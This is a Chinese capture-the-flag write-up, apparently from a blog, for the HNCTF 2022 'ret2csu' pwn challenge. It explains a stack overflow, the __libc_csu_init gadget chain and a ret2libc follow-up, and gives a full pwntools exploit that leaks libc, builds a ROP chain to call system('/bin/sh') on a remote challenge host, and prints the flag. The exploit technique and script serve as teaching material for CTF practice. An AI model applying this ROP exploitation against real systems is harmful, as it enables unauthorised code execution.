当前位置: 首页 > ops >正文

PWN-中级ROP-[HNCTF 2022 WEEK2]ret2csu

IDA 反编译

read 处存在栈溢出 

 

程序内部无 system 函数

也没有 /bin/sh 字符串

考虑打 ret2libc

程序在 main 函数中执行过 write 函数

我们可以用 write 函数来泄露 write 函数的真实地址

但是 write 函数有三个参数,我们这里控制不了 rdx

那么我们可以考虑 ret2csu 

还是给大家先介绍一下基础知识吧:

在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。 这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。我们先来看一下这个函数 (当然,不同版本的这个函数有一定的区别)

从 IDA 截取出 __libc_csu_init 函数的汇编指令:

.text:0000000000401250 ; void _libc_csu_init(void)
.text:0000000000401250                 public __libc_csu_init
.text:0000000000401250 __libc_csu_init proc near               ; DATA XREF: _start+1A↑o
.text:0000000000401250 ; __unwind {
.text:0000000000401250                 endbr64
.text:0000000000401254                 push    r15
.text:0000000000401256                 lea     r15, __frame_dummy_init_array_entry
.text:000000000040125D                 push    r14
.text:000000000040125F                 mov     r14, rdx
.text:0000000000401262                 push    r13
.text:0000000000401264                 mov     r13, rsi
.text:0000000000401267                 push    r12
.text:0000000000401269                 mov     r12d, edi
.text:000000000040126C                 push    rbp
.text:000000000040126D                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000401274                 push    rbx
.text:0000000000401275                 sub     rbp, r15
.text:0000000000401278                 sub     rsp, 8
.text:000000000040127C                 call    _init_proc
.text:0000000000401281                 sar     rbp, 3
.text:0000000000401285                 jz      short loc_4012A6
.text:0000000000401287                 xor     ebx, ebx
.text:0000000000401289                 nop     dword ptr [rax+00000000h]
.text:0000000000401290
.text:0000000000401290 loc_401290:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401290                 mov     rdx, r14
.text:0000000000401293                 mov     rsi, r13
.text:0000000000401296                 mov     edi, r12d
.text:0000000000401299                 call    ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040129D                 add     rbx, 1
.text:00000000004012A1                 cmp     rbp, rbx
.text:00000000004012A4                 jnz     short loc_401290
.text:00000000004012A6
.text:00000000004012A6 loc_4012A6:                             ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012A6                 add     rsp, 8
.text:00000000004012AA                 pop     rbx
.text:00000000004012AB                 pop     rbp
.text:00000000004012AC                 pop     r12
.text:00000000004012AE                 pop     r13
.text:00000000004012B0                 pop     r14
.text:00000000004012B2                 pop     r15
.text:00000000004012B4                 retn
.text:00000000004012B4 ; } // starts at 401250
.text:00000000004012B4 __libc_csu_init endp

我们分析一下哪些 gadgets 我们可以利用

第一部分 gadgets1 :

我们可以利用栈溢出,构造栈上的数据一个一个顺序存入 rbx,rbp,r12,r13,r14,r15 寄存器中

注意,可能环境不同,r13,r14,r15 的顺序也会有所变化

.text:00000000004012A6 loc_4012A6:                             ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012A6                 add     rsp, 8
.text:00000000004012AA                 pop     rbx
.text:00000000004012AB                 pop     rbp
.text:00000000004012AC                 pop     r12
.text:00000000004012AE                 pop     r13
.text:00000000004012B0                 pop     r14
.text:00000000004012B2                 pop     r15
.text:00000000004012B4                 retn
.text:00000000004012B4 ; } // starts at 401250
.text:00000000004012B4 __libc_csu_init endp

第二部分 gadgets2 :

.text:0000000000401290 loc_401290:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401290                 mov     rdx, r14
.text:0000000000401293                 mov     rsi, r13
.text:0000000000401296                 mov     edi, r12d
.text:0000000000401299                 call    ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040129D                 add     rbx, 1
.text:00000000004012A1                 cmp     rbp, rbx
.text:00000000004012A4                 jnz     short loc_401290

通过 gadgets1 中最后的 ret,使程序流程走 gadget2,这样可以将存储在 r14 的值赋给 rdx,存储在 r13 的值赋给 rsi,存储在 r12 的值赋给 edi,此时 rdi 的高 32 位寄存器中值为 0,所以我们也可以控制 rdi 的值,只不过只能控制低 32 位。而这三个寄存器(rdi、rsi、rdx),也是 x64 函数调用中传递的前三个寄存器。

call 指令跳转到 r15 寄存器存储的位置处(假设我们在 gadgets1 中置 rbx=0)

rbx+1 后,判断是否与 rbp 相等

我们控制 rbx 与 rbp 的之间的关系为 rbx+1 = rbp,满足相等,这样我们就不会跳转继续执行 loc_401290,进而可以执行后面的汇编代码,这里我们可以简单的 设置 rbx=0,rbp=1

gadgets2 走完后,顺序往下走汇编代码,又会走到 gadgets1,所以我们在栈中需要设 7*8=56个padding 字符,使栈不会空,然后设置特定的ret地址。

再次走 gadgets1 时,会把 rbx,rbp,r12,r13,r14,r15 六个寄存器重新设值,但这六个寄存器对我们来说已经没用了,所以可以为任意的 padding,我们的目的是要控制 rdi,rsi,rdx 三个寄存器来存放函数的参数,rdi 为第一个参数的存放寄存器,rsi 为第二个参数,rdx 为第三个参数。

整体思路:

利用 ret2csu 调用 write 函数来泄露 write 函数的真实地址,然后就是 ret2libc 的过程了,也就是获取到 system 和 /bin/sh 的地址后,返回到 main 函数或者 vul 函数,再次溢出,执行 system("/bin/sh")

编写 exp:

# @author:My6n
# @time:20250606
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('node5.anna.nssctf.cn',26478)
elf = ELF('./pwn')write_got_addr = elf.got['write']
main_addr = 0x4011DC
vul_addr = 0x401176
gadgets1 = 0x4012AA
gadgets2 = 0x401290offset = 264
pop_rdi = 0x4012b3
ret_addr = 0x40101apayload1 = cyclic(offset) 
payload1 += p64(gadgets1)
payload1 += p64(0) + p64(1)
payload1 += p64(1) + p64(write_got_addr) + p64(8)
payload1 += p64(write_got_addr)
payload1 += p64(gadgets2)
payload1 += b'a' * 56
payload1 += p64(main_addr)
#payload1 += p64(vul_addr)
#用vul函数也是可以的io.sendlineafter(b'Input:\n',payload1)
io.recvuntil(b'Ok.\n')
write_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(write_addr))#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') 
libc = ELF('./libc.so.6')
libc_base = write_addr - libc.symbols['write']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search('/bin/sh'))payload2 = cyclic(offset) + p64(ret_addr) + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr) 
io.sendline(payload2)
io.interactive()

没有问题 

拿到 flag:nssctf{Y0u_p0p_6_r3g1ster_and_ret2c5u} 

http://www.xdnf.cn/news/12389.html

相关文章:

  • 紧急调整!亚马逊70%谷歌广告预算转向新渠道
  • 引领AI安全新时代 Accelerate 2025北亚巡展·北京站成功举办
  • Spring Boot 实现流式响应(兼容 2.7.x)
  • 408第一季 - 数据结构 - 栈与队列
  • 实时数据分析的技术架构:Lambda vs Kappa架构选择
  • 如何在CloudCompare中打开pcd文件
  • 使用 Docker Compose 从零部署 TeamCity + PostgreSQL(详细新手教程)
  • 企业版管理工具无法打开(APP)
  • 如何实现安卓端与苹果端互通的多种方案
  • [BJDCTF2020]Easy MD5 1
  • Python打卡训练营day46——2025.06.06
  • 中国制造名牌剃须刀:优质之选,情礼佳物
  • 业务设计需要做好哪几点?
  • 类型注解实战:用 mypy 构建企业级 Python 项目的关键策略
  • 【Dv3Admin】系统视图菜单字段管理API文件解析
  • PLSQLDeveloper配置OracleInstantClient连接Oracle数据库
  • 永磁同步电机控制算法--模糊PI转速控制器
  • 论文阅读:HySCDG生成式数据处理流程
  • 国产pcie switch 8748+飞腾/龙芯/昇腾高速存储方案设计
  • 编译原理笔记
  • LeetCode--23.合并k个升序链表
  • 计算机二级Python考试的核心知识点总结
  • x32dbg SwissArmyKnife 插件导入map文件不生效
  • Lombok 的 @Data 注解失效,未生成 getter/setter 方法引发的HTTP 406 错误
  • 家用小车用什么轮胎好?浅谈汽车轮胎品牌
  • Gemini 开发者 API 怎么用?接入指南(附示例)
  • 水库大坝安全监测系统是什么?需要用到哪些设备?
  • LLaMA-Factory 微调 Qwen2-VL 进行人脸情感识别(二)
  • 高并发feign调用 :Address already in use: no further information executing POST
  • 华为OD机试_2025 B卷_数组去重和排序(Python,100分)(附详细解题思路)